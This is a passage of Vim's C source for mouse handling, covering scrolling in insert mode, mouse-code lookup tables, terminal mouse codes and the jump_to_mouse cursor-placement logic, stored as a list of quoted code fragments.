the\n\t // previous one to stop insert there properly.\n\t curwin = old_curwin;\n\t curbuf = curwin->w_buffer;\n#ifdef FEAT_JOB_CHANNEL\n\t if (bt_prompt(curbuf))\n\t\t// Restart Insert mode when re-entering the prompt buffer.\n\t\tcurbuf->b_prompt_insert = 'A';\n#endif\n\t}\n\tstart_arrow(curwin == old_curwin ? &tpos : NULL);\n\tif (curwin != new_curwin && win_valid(new_curwin))\n\t{\n\t curwin = new_curwin;\n\t curbuf = curwin->w_buffer;\n\t}\n\tset_can_cindent(TRUE);\n }", " // redraw status lines (in case another window became active)\n redraw_statuslines();\n}", " void\nins_mousescroll(int dir)\n{\n pos_T\ttpos;\n win_T\t*old_curwin = curwin, *wp;\n int\t\tdid_scroll = FALSE;", " tpos = curwin->w_cursor;", " if (mouse_row >= 0 && mouse_col >= 0)\n {\n\tint row, col;", "\trow = mouse_row;\n\tcol = mouse_col;", "\t// find the window at the pointer coordinates\n\twp = mouse_find_win(&row, &col, FIND_POPUP);\n\tif (wp == NULL)\n\t return;\n\tcurwin = wp;\n\tcurbuf = curwin->w_buffer;\n }\n if (curwin == old_curwin)\n\tundisplay_dollar();", " // Don't scroll the window in which completion is being done.\n if (!pum_visible() || curwin != old_curwin)\n {\n\tlong step;", "\tif (dir == MSCR_DOWN || dir == MSCR_UP)\n\t{\n\t if (mouse_vert_step < 0\n\t\t || mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL))\n\t\tstep = (long)(curwin->w_botline - curwin->w_topline);\n\t else\n\t\tstep = mouse_vert_step;\n\t scroll_redraw(dir, step);\n# ifdef FEAT_PROP_POPUP\n\tif (WIN_IS_POPUP(curwin))\n\t popup_set_firstline(curwin);\n# endif\n\t}\n#ifdef FEAT_GUI\n\telse\n\t{\n\t int val;", "\t if (mouse_hor_step < 0\n\t\t || mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL))\n\t\tstep = curwin->w_width;\n\t else\n\t\tstep = mouse_hor_step;\n\t val = curwin->w_leftcol + (dir == MSCR_RIGHT ? -step : step);\n\t if (val < 0)\n\t\tval = 0;\n\t gui_do_horiz_scroll(val, TRUE);\n\t}\n#endif\n\tdid_scroll = TRUE;\n\tmay_trigger_winscrolled();\n }", " curwin->w_redr_status = TRUE;", " curwin = old_curwin;\n curbuf = curwin->w_buffer;", " // The popup menu may overlay the window, need to redraw it.\n // TODO: Would be more efficient to only redraw the windows that are\n // overlapped by the popup menu.\n if (pum_visible() && did_scroll)\n {\n\tredraw_all_later(UPD_NOT_VALID);\n\tins_compl_show_pum();\n }", " if (!EQUAL_POS(curwin->w_cursor, tpos))\n {\n\tstart_arrow(&tpos);\n\tset_can_cindent(TRUE);\n }\n}", "/*\n * Return TRUE if \"c\" is a mouse key.\n */\n int\nis_mouse_key(int c)\n{\n return c == K_LEFTMOUSE\n\t|| c == K_LEFTMOUSE_NM\n\t|| c == K_LEFTDRAG\n\t|| c == K_LEFTRELEASE\n\t|| c == K_LEFTRELEASE_NM\n\t|| c == K_MOUSEMOVE\n\t|| c == K_MIDDLEMOUSE\n\t|| c == K_MIDDLEDRAG\n\t|| c == K_MIDDLERELEASE\n\t|| c == K_RIGHTMOUSE\n\t|| c == K_RIGHTDRAG\n\t|| c == K_RIGHTRELEASE\n\t|| c == K_MOUSEDOWN\n\t|| c == K_MOUSEUP\n\t|| c == K_MOUSELEFT\n\t|| c == K_MOUSERIGHT\n\t|| c == K_X1MOUSE\n\t|| c == K_X1DRAG\n\t|| c == K_X1RELEASE\n\t|| c == K_X2MOUSE\n\t|| c == K_X2DRAG\n\t|| c == K_X2RELEASE;\n}", "static struct mousetable\n{\n int\t pseudo_code;\t// Code for pseudo mouse event\n int\t button;\t\t// Which mouse button is it?\n int\t is_click;\t\t// Is it a mouse button click event?\n int\t is_drag;\t\t// Is it a mouse drag event?\n} mouse_table[] =\n{\n {(int)KE_LEFTMOUSE,\t\tMOUSE_LEFT,\tTRUE,\tFALSE},\n#ifdef FEAT_GUI\n {(int)KE_LEFTMOUSE_NM,\tMOUSE_LEFT,\tTRUE,\tFALSE},\n#endif\n {(int)KE_LEFTDRAG,\t\tMOUSE_LEFT,\tFALSE,\tTRUE},\n {(int)KE_LEFTRELEASE,\tMOUSE_LEFT,\tFALSE,\tFALSE},\n#ifdef FEAT_GUI\n {(int)KE_LEFTRELEASE_NM,\tMOUSE_LEFT,\tFALSE,\tFALSE},\n#endif\n {(int)KE_MIDDLEMOUSE,\tMOUSE_MIDDLE,\tTRUE,\tFALSE},\n {(int)KE_MIDDLEDRAG,\tMOUSE_MIDDLE,\tFALSE,\tTRUE},\n {(int)KE_MIDDLERELEASE,\tMOUSE_MIDDLE,\tFALSE,\tFALSE},\n {(int)KE_RIGHTMOUSE,\tMOUSE_RIGHT,\tTRUE,\tFALSE},\n {(int)KE_RIGHTDRAG,\t\tMOUSE_RIGHT,\tFALSE,\tTRUE},\n {(int)KE_RIGHTRELEASE,\tMOUSE_RIGHT,\tFALSE,\tFALSE},\n {(int)KE_X1MOUSE,\t\tMOUSE_X1,\tTRUE,\tFALSE},\n {(int)KE_X1DRAG,\t\tMOUSE_X1,\tFALSE,\tTRUE},\n {(int)KE_X1RELEASE,\t\tMOUSE_X1,\tFALSE,\tFALSE},\n {(int)KE_X2MOUSE,\t\tMOUSE_X2,\tTRUE,\tFALSE},\n {(int)KE_X2DRAG,\t\tMOUSE_X2,\tFALSE,\tTRUE},\n {(int)KE_X2RELEASE,\t\tMOUSE_X2,\tFALSE,\tFALSE},\n // DRAG without CLICK\n {(int)KE_MOUSEMOVE,\t\tMOUSE_RELEASE,\tFALSE,\tTRUE},\n // RELEASE without CLICK\n {(int)KE_IGNORE,\t\tMOUSE_RELEASE,\tFALSE,\tFALSE},\n {0,\t\t\t\t0,\t\t0,\t0},\n};", "/*\n * Look up the given mouse code to return the relevant information in the other\n * arguments. Return which button is down or was released.\n */\n int\nget_mouse_button(int code, int *is_click, int *is_drag)\n{\n int\t i;", " for (i = 0; mouse_table[i].pseudo_code; i++)\n\tif (code == mouse_table[i].pseudo_code)\n\t{\n\t *is_click = mouse_table[i].is_click;\n\t *is_drag = mouse_table[i].is_drag;\n\t return mouse_table[i].button;\n\t}\n return 0;\t // Shouldn't get here\n}", "/*\n * Return the appropriate pseudo mouse event token (KE_LEFTMOUSE etc) based on\n * the given information about which mouse button is down, and whether the\n * mouse was clicked, dragged or released.\n */\n int\nget_pseudo_mouse_code(\n int\t button,\t// eg MOUSE_LEFT\n int\t is_click,\n int\t is_drag)\n{\n int\t i;", " for (i = 0; mouse_table[i].pseudo_code; i++)\n\tif (button == mouse_table[i].button\n\t && is_click == mouse_table[i].is_click\n\t && is_drag == mouse_table[i].is_drag)\n\t{\n#ifdef FEAT_GUI\n\t // Trick: a non mappable left click and release has mouse_col -1\n\t // or added MOUSE_COLOFF. Used for 'mousefocus' in\n\t // gui_mouse_moved()\n\t if (mouse_col < 0 || mouse_col > MOUSE_COLOFF)\n\t {\n\t\tif (mouse_col < 0)\n\t\t mouse_col = 0;\n\t\telse\n\t\t mouse_col -= MOUSE_COLOFF;\n\t\tif (mouse_table[i].pseudo_code == (int)KE_LEFTMOUSE)\n\t\t return (int)KE_LEFTMOUSE_NM;\n\t\tif (mouse_table[i].pseudo_code == (int)KE_LEFTRELEASE)\n\t\t return (int)KE_LEFTRELEASE_NM;\n\t }\n#endif\n\t return mouse_table[i].pseudo_code;\n\t}\n return (int)KE_IGNORE;\t // not recognized, ignore it\n}", "# define HMT_NORMAL\t1\n# define HMT_NETTERM\t2\n# define HMT_DEC\t4\n# define HMT_JSBTERM\t8\n# define HMT_PTERM\t16\n# define HMT_URXVT\t32\n# define HMT_GPM\t64\n# define HMT_SGR\t128\n# define HMT_SGR_REL\t256\nstatic int has_mouse_termcode = 0;", " void\nset_mouse_termcode(\n int\t\tn,\t// KS_MOUSE, KS_NETTERM_MOUSE or KS_DEC_MOUSE\n char_u\t*s)\n{\n char_u\tname[2];", " name[0] = n;\n name[1] = KE_FILLER;\n add_termcode(name, s, FALSE);\n# ifdef FEAT_MOUSE_JSB\n if (n == KS_JSBTERM_MOUSE)\n\thas_mouse_termcode |= HMT_JSBTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_NET\n if (n == KS_NETTERM_MOUSE)\n\thas_mouse_termcode |= HMT_NETTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_DEC\n if (n == KS_DEC_MOUSE)\n\thas_mouse_termcode |= HMT_DEC;\n else\n# endif\n# ifdef FEAT_MOUSE_PTERM\n if (n == KS_PTERM_MOUSE)\n\thas_mouse_termcode |= HMT_PTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_URXVT\n if (n == KS_URXVT_MOUSE)\n\thas_mouse_termcode |= HMT_URXVT;\n else\n# endif\n# ifdef FEAT_MOUSE_GPM\n if (n == KS_GPM_MOUSE)\n\thas_mouse_termcode |= HMT_GPM;\n else\n# endif\n if (n == KS_SGR_MOUSE)\n\thas_mouse_termcode |= HMT_SGR;\n else if (n == KS_SGR_MOUSE_RELEASE)\n\thas_mouse_termcode |= HMT_SGR_REL;\n else\n\thas_mouse_termcode |= HMT_NORMAL;\n}", "# if defined(UNIX) || defined(VMS) || defined(PROTO)\n void\ndel_mouse_termcode(\n int\t\tn)\t// KS_MOUSE, KS_NETTERM_MOUSE or KS_DEC_MOUSE\n{\n char_u\tname[2];", " name[0] = n;\n name[1] = KE_FILLER;\n del_termcode(name);\n# ifdef FEAT_MOUSE_JSB\n if (n == KS_JSBTERM_MOUSE)\n\thas_mouse_termcode &= ~HMT_JSBTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_NET\n if (n == KS_NETTERM_MOUSE)\n\thas_mouse_termcode &= ~HMT_NETTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_DEC\n if (n == KS_DEC_MOUSE)\n\thas_mouse_termcode &= ~HMT_DEC;\n else\n# endif\n# ifdef FEAT_MOUSE_PTERM\n if (n == KS_PTERM_MOUSE)\n\thas_mouse_termcode &= ~HMT_PTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_URXVT\n if (n == KS_URXVT_MOUSE)\n\thas_mouse_termcode &= ~HMT_URXVT;\n else\n# endif\n# ifdef FEAT_MOUSE_GPM\n if (n == KS_GPM_MOUSE)\n\thas_mouse_termcode &= ~HMT_GPM;\n else\n# endif\n if (n == KS_SGR_MOUSE)\n\thas_mouse_termcode &= ~HMT_SGR;\n else if (n == KS_SGR_MOUSE_RELEASE)\n\thas_mouse_termcode &= ~HMT_SGR_REL;\n else\n\thas_mouse_termcode &= ~HMT_NORMAL;\n}\n# endif", "/*\n * setmouse() - switch mouse on/off depending on current mode and 'mouse'\n */\n void\nsetmouse(void)\n{\n int\t checkfor;", "# ifdef FEAT_MOUSESHAPE\n update_mouseshape(-1);\n# endif", " // Should be outside proc, but may break MOUSESHAPE\n# ifdef FEAT_GUI\n // In the GUI the mouse is always enabled.\n if (gui.in_use)\n\treturn;\n# endif\n // be quick when mouse is off\n if (*p_mouse == NUL || has_mouse_termcode == 0)\n\treturn;", " // don't switch mouse on when not in raw mode (Ex mode)\n if (cur_tmode != TMODE_RAW)\n {\n\tmch_setmouse(FALSE);\n\treturn;\n }", " if (VIsual_active)\n\tcheckfor = MOUSE_VISUAL;\n else if (State == MODE_HITRETURN || State == MODE_ASKMORE\n\t\t\t\t\t\t || State == MODE_SETWSIZE)\n\tcheckfor = MOUSE_RETURN;\n else if (State & MODE_INSERT)\n\tcheckfor = MOUSE_INSERT;\n else if (State & MODE_CMDLINE)\n\tcheckfor = MOUSE_COMMAND;\n else if (State == MODE_CONFIRM || State == MODE_EXTERNCMD)\n\tcheckfor = ' '; // don't use mouse for \":confirm\" or \":!cmd\"\n else\n\tcheckfor = MOUSE_NORMAL; // assume normal mode", " if (mouse_has(checkfor))\n\tmch_setmouse(TRUE);\n else\n\tmch_setmouse(FALSE);\n}", "/*\n * Return TRUE if\n * - \"c\" is in 'mouse', or\n * - 'a' is in 'mouse' and \"c\" is in MOUSE_A, or\n * - the current buffer is a help file and 'h' is in 'mouse' and we are in a\n * normal editing mode (not at hit-return message).\n */\n int\nmouse_has(int c)\n{\n char_u\t*p;", " for (p = p_mouse; *p; ++p)\n\tswitch (*p)\n\t{\n\t case 'a': if (vim_strchr((char_u *)MOUSE_A, c) != NULL)\n\t\t\t return TRUE;\n\t\t break;\n\t case MOUSE_HELP: if (c != MOUSE_RETURN && curbuf->b_help)\n\t\t\t\t return TRUE;\n\t\t\t break;\n\t default: if (c == *p) return TRUE; break;\n\t}\n return FALSE;\n}", "/*\n * Return TRUE when 'mousemodel' is set to \"popup\" or \"popup_setpos\".\n */\n int\nmouse_model_popup(void)\n{\n return (p_mousem[0] == 'p');\n}", "/*\n * Move the cursor to the specified row and column on the screen.\n * Change current window if necessary.\tReturns an integer with the\n * CURSOR_MOVED bit set if the cursor has moved or unset otherwise.\n *\n * The MOUSE_FOLD_CLOSE bit is set when clicked on the '-' in a fold column.\n * The MOUSE_FOLD_OPEN bit is set when clicked on the '+' in a fold column.\n *\n * If flags has MOUSE_FOCUS, then the current window will not be changed, and\n * if the mouse is outside the window then the text will scroll, or if the\n * mouse was previously on a status line, then the status line may be dragged.\n *\n * If flags has MOUSE_MAY_VIS, then VIsual mode will be started before the\n * cursor is moved unless the cursor was on a status line.\n * This function returns one of IN_UNKNOWN, IN_BUFFER, IN_STATUS_LINE or\n * IN_SEP_LINE depending on where the cursor was clicked.\n *\n * If flags has MOUSE_MAY_STOP_VIS, then Visual mode will be stopped, unless\n * the mouse is on the status line of the same window.\n *\n * If flags has MOUSE_DID_MOVE, nothing is done if the mouse didn't move since\n * the last call.\n *\n * If flags has MOUSE_SETPOS, nothing is done, only the current position is\n * remembered.\n */\n int\njump_to_mouse(\n int\t\tflags,\n int\t\t*inclusive,\t// used for inclusive operator, can be NULL\n int\t\twhich_button)\t// MOUSE_LEFT, MOUSE_RIGHT, MOUSE_MIDDLE\n{\n static int\ton_status_line = 0;\t// #lines below bottom of window\n static int\ton_sep_line = 0;\t// on separator right of window\n#ifdef FEAT_MENU\n static int in_winbar = FALSE;\n#endif\n#ifdef FEAT_PROP_POPUP\n static int in_popup_win = FALSE;\n static win_T *click_in_popup_win = NULL;\n#endif\n static int\tprev_row = -1;\n static int\tprev_col = -1;\n static win_T *dragwin = NULL;\t// window being dragged\n static int\tdid_drag = FALSE;\t// drag was noticed", " win_T\t*wp, *old_curwin;\n pos_T\told_cursor;\n int\t\tcount;\n int\t\tfirst;\n int\t\trow = mouse_row;\n int\t\tcol = mouse_col;\n colnr_T\tcol_from_screen = -1;\n#ifdef FEAT_FOLDING\n int\t\tmouse_char = ' ';\n#endif", " mouse_past_bottom = FALSE;\n mouse_past_eol = FALSE;", " if (flags & MOUSE_RELEASED)\n {\n\t// On button release we may change window focus if positioned on a\n\t// status line and no dragging happened.\n\tif (dragwin != NULL && !did_drag)\n\t flags &= ~(MOUSE_FOCUS | MOUSE_DID_MOVE);\n\tdragwin = NULL;\n\tdid_drag = FALSE;\n#ifdef FEAT_PROP_POPUP\n\tif (click_in_popup_win != NULL && popup_dragwin == NULL)\n\t popup_close_for_mouse_click(click_in_popup_win);", "\tpopup_dragwin = NULL;\n\tclick_in_popup_win = NULL;\n#endif\n }", " if ((flags & MOUSE_DID_MOVE)\n\t && prev_row == mouse_row\n\t && prev_col == mouse_col)\n {\nretnomove:\n\t// before moving the cursor for a left click which is NOT in a status\n\t// line, stop Visual mode\n\tif (on_status_line)\n\t return IN_STATUS_LINE;\n\tif (on_sep_line)\n\t return IN_SEP_LINE;\n#ifdef FEAT_MENU\n\tif (in_winbar)\n\t{\n\t // A quick second click may arrive as a double-click, but we use it\n\t // as a second click in the WinBar.\n\t if ((mod_mask & MOD_MASK_MULTI_CLICK) && !(flags & MOUSE_RELEASED))\n\t {\n\t\twp = mouse_find_win(&row, &col, FAIL_POPUP);\n\t\tif (wp == NULL)\n\t\t return IN_UNKNOWN;\n\t\twinbar_click(wp, col);\n\t }\n\t return IN_OTHER_WIN | MOUSE_WINBAR;\n\t}\n#endif\n\tif (flags & MOUSE_MAY_STOP_VIS)\n\t{\n\t end_visual_mode_keep_button();\n\t redraw_curbuf_later(UPD_INVERTED);\t// delete the inversion\n\t}\n#if defined(FEAT_CMDWIN) && defined(FEAT_CLIPBOARD)\n\t// Continue a modeless selection in another window.\n\tif (cmdwin_type != 0 && row < curwin->w_winrow)\n\t return IN_OTHER_WIN;\n#endif\n#ifdef FEAT_PROP_POPUP\n\t// Continue a modeless selection in a popup window or dragging it.\n\tif (in_popup_win)\n\t{\n\t click_in_popup_win = NULL; // don't close it on release\n\t if (popup_dragwin != NULL)\n\t {\n\t\t// dragging a popup window\n\t\tpopup_drag(popup_dragwin);\n\t\treturn IN_UNKNOWN;\n\t }\n\t return IN_OTHER_WIN;\n\t}\n#endif\n\treturn IN_BUFFER;\n }", " prev_row = mouse_row;\n prev_col = mouse_col;", " if (flags & MOUSE_SETPOS)\n\tgoto retnomove;\t\t\t\t// ugly goto...", " old_curwin = curwin;\n old_cursor = curwin->w_cursor;", " if (!(flags & MOUSE_FOCUS))\n {\n\tif (row < 0 || col < 0)\t\t\t// check if it makes sense\n\t return IN_UNKNOWN;", "\t// find the window where the row is in and adjust \"row\" and \"col\" to be\n\t// relative to top-left of the window\n\twp = mouse_find_win(&row, &col, FIND_POPUP);\n\tif (wp == NULL)\n\t return IN_UNKNOWN;\n\tdragwin = NULL;", "#ifdef FEAT_PROP_POPUP\n\t// Click in a popup window may start dragging or modeless selection,\n\t// but not much else.\n\tif (WIN_IS_POPUP(wp))\n\t{\n\t on_sep_line = 0;\n\t on_status_line = 0;\n\t in_popup_win = TRUE;\n\t if (which_button == MOUSE_LEFT && popup_close_if_on_X(wp, row, col))\n\t {\n\t\treturn IN_UNKNOWN;\n\t }\n\t else if (((wp->w_popup_flags & (POPF_DRAG | POPF_RESIZE))\n\t\t\t\t\t && popup_on_border(wp, row, col))\n\t\t\t\t || (wp->w_popup_flags & POPF_DRAGALL))\n\t {\n\t\tpopup_dragwin = wp;\n\t\tpopup_start_drag(wp, row, col);\n\t\treturn IN_UNKNOWN;\n\t }\n\t // Only close on release, otherwise it's not possible to drag or do\n\t // modeless selection.\n\t else if (wp->w_popup_close == POPCLOSE_CLICK\n\t\t && which_button == MOUSE_LEFT)\n\t {\n\t\tclick_in_popup_win = wp;\n\t }\n\t else if (which_button == MOUSE_LEFT)\n\t\t// If the click is in the scrollbar, may scroll up/down.\n\t\tpopup_handle_scrollbar_click(wp, row, col);\n# ifdef FEAT_CLIPBOARD\n\t return IN_OTHER_WIN;\n# else\n\t return IN_UNKNOWN;\n# endif\n\t}\n\tin_popup_win = FALSE;\n\tpopup_dragwin = NULL;\n#endif\n#ifdef FEAT_MENU\n\tif (row == -1)\n\t{\n\t // A click in the window toolbar does not enter another window or\n\t // change Visual highlighting.\n\t winbar_click(wp, col);\n\t in_winbar = TRUE;\n\t return IN_OTHER_WIN | MOUSE_WINBAR;\n\t}\n\tin_winbar = FALSE;\n#endif", "\t// winpos and height may change in win_enter()!\n\tif (row >= wp->w_height)\t\t// In (or below) status line\n\t{\n\t on_status_line = row - wp->w_height + 1;\n\t dragwin = wp;\n\t}\n\telse\n\t on_status_line = 0;\n\tif (col >= wp->w_width)\t\t// In separator line\n\t{\n\t on_sep_line = col - wp->w_width + 1;\n\t dragwin = wp;\n\t}\n\telse\n\t on_sep_line = 0;", "\t// The rightmost character of the status line might be a vertical\n\t// separator character if there is no connecting window to the right.\n\tif (on_status_line && on_sep_line)\n\t{\n\t if (stl_connected(wp))\n\t\ton_sep_line = 0;\n\t else\n\t\ton_status_line = 0;\n\t}", "\t// Before jumping to another buffer, or moving the cursor for a left\n\t// click, stop Visual mode.\n\tif (VIsual_active\n\t\t&& (wp->w_buffer != curwin->w_buffer\n\t\t || (!on_status_line && !on_sep_line\n#ifdef FEAT_FOLDING\n\t\t\t&& (\n# ifdef FEAT_RIGHTLEFT\n\t\t\t wp->w_p_rl ? col < wp->w_width - wp->w_p_fdc :\n# endif\n\t\t\t col >= wp->w_p_fdc\n# ifdef FEAT_CMDWIN\n\t\t\t\t + (cmdwin_type == 0 && wp == curwin ? 0 : 1)\n# endif\n\t\t\t )\n#endif\n\t\t\t&& (flags & MOUSE_MAY_STOP_VIS))))\n\t{\n\t end_visual_mode_keep_button();\n\t redraw_curbuf_later(UPD_INVERTED);\t// delete the inversion\n\t}\n#ifdef FEAT_CMDWIN\n\tif (cmdwin_type != 0 && wp != curwin)\n\t{\n\t // A click outside the command-line window: Use modeless\n\t // selection if possible. Allow dragging the status lines.\n\t on_sep_line = 0;\n# ifdef FEAT_CLIPBOARD\n\t if (on_status_line)\n\t\treturn IN_STATUS_LINE;\n\t return IN_OTHER_WIN;\n# else\n\t row = 0;\n\t col += wp->w_wincol;\n\t wp = curwin;\n# endif\n\t}\n#endif\n#if defined(FEAT_PROP_POPUP) && defined(FEAT_TERMINAL)\n\tif (popup_is_popup(curwin) && curbuf->b_term != NULL)\n\t // terminal in popup window: don't jump to another window\n\t return IN_OTHER_WIN;\n#endif\n\t// Only change window focus when not clicking on or dragging the\n\t// status line. Do change focus when releasing the mouse button\n\t// (MOUSE_FOCUS was set above if we dragged first).\n\tif (dragwin == NULL || (flags & MOUSE_RELEASED))\n\t win_enter(wp, TRUE);\t\t// can make wp invalid!", "\tif (curwin != old_curwin)\n\t{\n#ifdef CHECK_DOUBLE_CLICK\n\t // set topline, to be able to check for double click ourselves\n\t set_mouse_topline(curwin);\n#endif\n#ifdef FEAT_TERMINAL\n\t // when entering a terminal window may change state\n\t term_win_entered();\n#endif\n\t}\n\tif (on_status_line)\t\t\t// In (or below) status line\n\t{\n\t // Don't use start_arrow() if we're in the same window\n\t if (curwin == old_curwin)\n\t\treturn IN_STATUS_LINE;\n\t else\n\t\treturn IN_STATUS_LINE | CURSOR_MOVED;\n\t}\n\tif (on_sep_line)\t\t\t// In (or below) status line\n\t{\n\t // Don't use start_arrow() if we're in the same window\n\t if (curwin == old_curwin)\n\t\treturn IN_SEP_LINE;\n\t else\n\t\treturn IN_SEP_LINE | CURSOR_MOVED;\n\t}", "\tcurwin->w_cursor.lnum = curwin->w_topline;\n#ifdef FEAT_GUI\n\t// remember topline, needed for double click\n\tgui_prev_topline = curwin->w_topline;\n# ifdef FEAT_DIFF\n\tgui_prev_topfill = curwin->w_topfill;\n# endif\n#endif\n }\n else if (on_status_line && which_button == MOUSE_LEFT)\n {\n\tif (dragwin != NULL)\n\t{\n\t // Drag the status line\n\t count = row - W_WINROW(dragwin) - dragwin->w_height + 1\n\t\t\t\t\t\t\t - on_status_line;\n\t win_drag_status_line(dragwin, count);\n\t did_drag |= count;\n\t}\n\treturn IN_STATUS_LINE;\t\t\t// Cursor didn't move\n }\n else if (on_sep_line && which_button == MOUSE_LEFT)\n {\n\tif (dragwin != NULL)\n\t{\n\t // Drag the separator column\n\t count = col - dragwin->w_wincol - dragwin->w_width + 1\n\t\t\t\t\t\t\t\t- on_sep_line;\n\t win_drag_vsep_line(dragwin, count);\n\t did_drag |= count;\n\t}\n\treturn IN_SEP_LINE;\t\t\t// Cursor didn't move\n }\n#ifdef FEAT_MENU\n else if (in_winbar)\n {\n\t// After a click on the window toolbar don't start Visual mode.\n\treturn IN_OTHER_WIN | MOUSE_WINBAR;\n }\n#endif\n else // keep_window_focus must be TRUE\n {\n\t// before moving the cursor for a left click, stop Visual mode\n\tif (flags & MOUSE_MAY_STOP_VIS)\n\t{\n\t end_visual_mode_keep_button();\n\t redraw_curbuf_later(UPD_INVERTED);\t// delete the inversion\n\t}", "#if defined(FEAT_CMDWIN) && defined(FEAT_CLIPBOARD)\n\t// Continue a modeless selection in another window.\n\tif (cmdwin_type != 0 && row < curwin->w_winrow)\n\t return IN_OTHER_WIN;\n#endif\n#ifdef FEAT_PROP_POPUP\n\tif (in_popup_win)\n\t{\n\t if (popup_dragwin != NULL)\n\t {\n\t\t// dragging a popup window\n\t\tpopup_drag(popup_dragwin);\n\t\treturn IN_UNKNOWN;\n\t }\n\t // continue a modeless selection in a popup window\n\t click_in_popup_win = NULL;\n\t return IN_OTHER_WIN;\n\t}\n#endif", "\trow -= W_WINROW(curwin);\n\tcol -= curwin->w_wincol;", "\t// When clicking beyond the end of the window, scroll the screen.\n\t// Scroll by however many rows outside the window we are.\n\tif (row < 0)\n\t{\n\t count = 0;\n\t for (first = TRUE; curwin->w_topline > 1; )\n\t {\n#ifdef FEAT_DIFF\n\t\tif (curwin->w_topfill < diff_check(curwin, curwin->w_topline))\n\t\t ++count;\n\t\telse\n#endif\n\t\t count += plines(curwin->w_topline - 1);\n\t\tif (!first && count > -row)\n\t\t break;\n\t\tfirst = FALSE;\n#ifdef FEAT_FOLDING\n\t\t(void)hasFolding(curwin->w_topline, &curwin->w_topline, NULL);\n#endif\n#ifdef FEAT_DIFF\n\t\tif (curwin->w_topfill < diff_check(curwin, curwin->w_topline))\n\t\t ++curwin->w_topfill;\n\t\telse\n#endif\n\t\t{\n\t\t --curwin->w_topline;\n#ifdef FEAT_DIFF\n\t\t curwin->w_topfill = 0;\n#endif\n\t\t}\n\t }\n#ifdef FEAT_DIFF\n\t check_topfill(curwin, FALSE);\n#endif\n\t curwin->w_valid &=\n\t\t ~(VALID_WROW|VALID_CROW|VALID_BOTLINE|VALID_BOTLINE_AP);\n\t redraw_later(UPD_VALID);\n\t row = 0;\n\t}\n\telse if (row >= curwin->w_height)\n\t{\n\t count = 0;\n\t for (first = TRUE; curwin->w_topline < curbuf->b_ml.ml_line_count; )\n\t {\n#ifdef FEAT_DIFF\n\t\tif (curwin->w_topfill > 0)\n\t\t ++count;\n\t\telse\n#endif\n\t\t count += plines(curwin->w_topline);\n\t\tif (!first && count > row - curwin->w_height + 1)\n\t\t break;\n\t\tfirst = FALSE;\n#ifdef FEAT_FOLDING\n\t\tif (hasFolding(curwin->w_topline, NULL, &curwin->w_topline)\n\t\t\t&& curwin->w_topline == curbuf->b_ml.ml_line_count)\n\t\t break;\n#endif\n#ifdef FEAT_DIFF\n\t\tif (curwin->w_topfill > 0)\n\t\t --curwin->w_topfill;\n\t\telse\n#endif\n\t\t{\n\t\t ++curwin->w_topline;\n#ifdef FEAT_DIFF\n\t\t curwin->w_topfill =\n\t\t\t\t diff_check_fill(curwin, curwin->w_topline);\n#endif\n\t\t}\n\t }\n#ifdef FEAT_DIFF\n\t check_topfill(curwin, FALSE);\n#endif\n\t redraw_later(UPD_VALID);\n\t curwin->w_valid &=\n\t\t ~(VALID_WROW|VALID_CROW|VALID_BOTLINE|VALID_BOTLINE_AP);\n\t row = curwin->w_height - 1;\n\t}\n\telse if (row == 0)\n\t{\n\t // When dragging the mouse, while the text has been scrolled up as\n\t // far as it goes, moving the mouse in the top line should scroll\n\t // the text down (done later when recomputing w_topline).\n\t if (mouse_dragging > 0\n\t\t && curwin->w_cursor.lnum\n\t\t\t\t == curwin->w_buffer->b_ml.ml_line_count\n\t\t && curwin->w_cursor.lnum == curwin->w_topline)\n\t\tcurwin->w_valid &= ~(VALID_TOPLINE);\n\t}\n }", " if (prev_row >= 0 && prev_row < Rows && prev_col >= 0 && prev_col <= Columns\n\t\t\t\t\t\t && ScreenLines != NULL)\n {\n\tint off = LineOffset[prev_row] + prev_col;", "\t// Only use ScreenCols[] after the window was redrawn. Mainly matters\n\t// for tests, a user would not click before redrawing.\n\t// Do not use when 'virtualedit' is active.\n\tif (curwin->w_redr_type <= UPD_VALID_NO_UPDATE && !virtual_active())\n\t col_from_screen = ScreenCols[off];\n#ifdef FEAT_FOLDING\n\t// Remember the character under the mouse, it might be a '-' or '+' in\n\t// the fold column.\n\tmouse_char = ScreenLines[off];\n#endif\n }", "#ifdef FEAT_FOLDING\n // Check for position outside of the fold column.\n if (\n# ifdef FEAT_RIGHTLEFT\n\t curwin->w_p_rl ? col < curwin->w_width - curwin->w_p_fdc :\n# endif\n\t col >= curwin->w_p_fdc\n# ifdef FEAT_CMDWIN\n\t\t\t\t+ (cmdwin_type == 0 ? 0 : 1)\n# endif\n )\n\tmouse_char = ' ';\n#endif", " // compute the position in the buffer line from the posn on the screen\n if (mouse_comp_pos(curwin, &row, &col, &curwin->w_cursor.lnum, NULL))\n\tmouse_past_bottom = TRUE;", " // Start Visual mode before coladvance(), for when 'sel' != \"old\"\n if ((flags & MOUSE_MAY_VIS) && !VIsual_active)\n {\n\tcheck_visual_highlight();\n\tVIsual = old_cursor;\n\tVIsual_active = TRUE;\n\tVIsual_reselect = TRUE;\n\t// if 'selectmode' contains \"mouse\", start Select mode\n\tmay_start_select('o');\n\tsetmouse();\n\tif (p_smd && msg_silent == 0)\n\t redraw_cmdline = TRUE;\t// show visual mode later\n }", " if (col_from_screen >= 0)\n {\n\t// Use the column from ScreenCols[], it is accurate also after\n\t// concealed characters.\n\tcurwin->w_cursor.col = col_from_screen;\n\tif (col_from_screen == MAXCOL)\n\t{\n\t curwin->w_curswant = col_from_screen;\n\t curwin->w_set_curswant = FALSE;\t// May still have been TRUE\n\t mouse_past_eol = TRUE;\n\t if (inclusive != NULL)\n\t\t*inclusive = TRUE;\n\t}\n\telse\n\t{\n\t curwin->w_set_curswant = TRUE;\n\t if (inclusive != NULL)\n\t\t*inclusive = FALSE;\n\t}\n\tcheck_cursor_col();\n }\n else\n {\n\tcurwin->w_curswant = col;\n\tcurwin->w_set_curswant = FALSE;\t// May still have been TRUE\n\tif (coladvance(col) == FAIL)\t// Mouse click beyond end of line\n\t{\n\t if (inclusive != NULL)\n\t\t*inclusive = TRUE;\n\t mouse_past_eol = TRUE;\n\t}\n\telse if (inclusive != NULL)\n\t 